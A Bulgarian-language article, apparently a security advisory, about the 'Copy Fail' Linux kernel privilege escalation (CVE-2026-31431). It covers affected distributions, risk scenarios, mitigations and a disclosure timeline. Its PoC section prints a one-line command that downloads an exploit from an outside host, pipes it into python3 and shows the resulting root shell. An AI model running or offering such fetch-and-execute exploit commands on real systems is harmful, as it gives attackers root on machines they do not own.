← Обратно към списъка

732 байта компрометират всички Linux: епична уязвимост се е спотайвала близо десетилетие

itadol5j

Уязвимостта Copy Fail

🚨 Епична уязвимост: 732 байта компрометират всички Linux, спотайвала се е близо десетилетие

Уязвимост в ядрото на Linux, носеща името„Copy Fail“(CVE-2026-31431), бе разкрита публично:

  • 732 байтаPython скрипт е
  • 100% надежден, без състезателен прозорец (race window) или ядрени отмествания
  • Засегнати са всички Linux дистрибуции(от 2017 г. насам)
  • Примитив за бягство от контейнер, атаки между наематели
  • Спотайвала се е близо десетилетие, докато бе оповестена на 29 април 2026 г.

Един и същ скрипт работи наUbuntu, RHEL, Amazon Linux, SUSE— без никакви промени.

🎯 Сърцевината на уязвимостта

Един-единствен логически дефект

Copy Fail еправолинеен логически дефект:

  • Не изисква състезателен прозорец: за разлика от повечето LPE за Linux, които се нуждаят от race condition
  • Не изисква ядрени отмествания: не са нужни специфични за ядрото offset-и
  • 100% надеждност: успех при всяко изпълнение
  • Един и същ скрипт: работи на всички дистрибуции

Веригата на уязвимостта

Атакуващата верига на Copy Fail:

  • Логическа грешка в authencesn: логически бъг
  • AF_ALG: чрез crypto API на ядрото
  • splice(): верижно извикване
  • Запис на 4 байта в page-cache: крайният атакуващ примитив
  • Експлоатируема близо десетилетие: от 2017 г. до издаването на пача

📊 Обхват на засегнатите системи

Официално потвърдени дистрибуции

Дистрибуция Версия на ядрото Състояние
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Потвърдено
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Потвърдено
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Потвърдено
SUSE 16 6.12.0-160000.9-default ✅ Потвърдено

Други засегнати дистрибуции

Следните дистрибуцииса също засегнати:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Вграден Linux

Заключение: ако ядрото ви е компилирано между 2017 г. и пача —вие сте засегнати.

💡 Високорискови сценарии

Сценарий Риск Въздействие
Многонаемателски Linux хост Висок Всеки потребител става root
Kubernetes / контейнерни клъстери Висок Атаки през контейнери и между наематели
CI Runner / Build Farm Висок PR заявката получава root в runner-а
Облачен SaaS, изпълняващ потребителски код Висок Наемателят става root на хоста
Стандартен Linux сървър Среден Вътрешно LPE, възможна верижна атака
Еднопотребителски лаптоп Нисък Стъпка за повишаване на привилегиите след първоначален достъп

🔧 Мерки за смекчаване

Вариант 1: обновяване на ядрото (препоръчително)

Обновете ядрото до версия, съдържащаmainline commit a664bf3d603d:

  • Какво поправя: отменя оптимизацията algif_aead in-place от 2017 г.
  • Ефект: страниците от page-cache вече не попадат в записваемия destination scatterlist
  • Състояние: повечето основни дистрибуции вече издадоха пачове

Вариант 2: деактивиране на модула algif_aead (временно)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Въздействие от деактивирането на algif_aead

Компонент Въздействие
dm-crypt / LUKS Без въздействие
kTLS / IPsec Без въздействие
OpenSSL / SSH Без въздействие
AF_ALG в потребителското пространство Възможно въздействие

Заключение: за повечето системи деактивирането на algif_aeadняма забележимо въздействие.

Вариант 3: блокиране на AF_ALG чрез seccomp

За недоверени натоварвания (контейнери, пясъчници, CI) блокирайте създаването на AF_ALG сокети чрез seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Демонстрация на PoC

PoC кодът за уязвимостта е публикуван, за да могат защитниците да проверят системите си:

Бързо изпълнение

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Подробности за PoC

  • Размер на файла: 732 байта
  • Език: Python 3.10+, само стандартната библиотека (os, socket, zlib)
  • Цел по подразбиране:/usr/bin/su
  • SHA256:a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Предупреждение: скриптът променя page cache на изпълнимия файл със setuid; промяната не е постоянна след рестарт, но root шелът е реален. Не го изпълнявайте в производствена среда.

📅 Хронология на разкриването

Дата Събитие
2026-03-23 Докладвано на екипа по сигурност на ядрото на Linux
2026-03-24 Първоначално потвърждение
2026-03-25 Предложение и преглед на пача
2026-04-01 Пачът е подаден към mainline
2026-04-22 Присвояване на CVE-2026-31431
2026-04-29 Публично разкриване

🔍 Откривател: Xint Code

Уязвимостта е открита отXint Code:

  • Продължителност на сканирането: около 1 час сканиране на подсистемата crypto/ в Linux
  • Начин на откриване: одит на кода, управляван от AI
  • Пълен анализ: root cause, диаграми, prompt за оператора
  • Други открития: едновременно бяха открити и други уязвимости с висока сериозност, които все още са в процес на координирано разкриване

Постижения на Xint Code

  • 0-day RCE: ZeroDay Cloud — пълно превъзходство в категорията бази данни (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: финал на DARPA AI Cyber Challenge
  • DEF CON CTF 9×: най-успешният отбор в историята на DEF CON CTF

📝 Заключение

Copy Fail (CVE-2026-31431) еепична уязвимост в ядрото на Linux:

  • 732 байта компрометират всички Linux (от 2017 г. насам)
  • 100% надеждност, един-единствен логически дефект
  • Бягство от контейнер, атаки между наематели
  • Спотайвала се е близо десетилетие, до публичното ѝ разкриване на 29 април 2026 г.
  • Високорискови сценарии: многонаемателски хостове, контейнерни клъстери, CI Runner, SaaS
  • Смекчаване: обновете ядрото или деактивирайте algif_aead
  • Откривател: Xint Code, чрез одит на кода с AI

Епична уязвимост от близо десетилетие: един скрипт компрометира всички Linux.

Официален сайт на уязвимостта:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Технически анализ:https://xint.io/blog/copy-fail-linux-distributions

Пач за ядрото:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5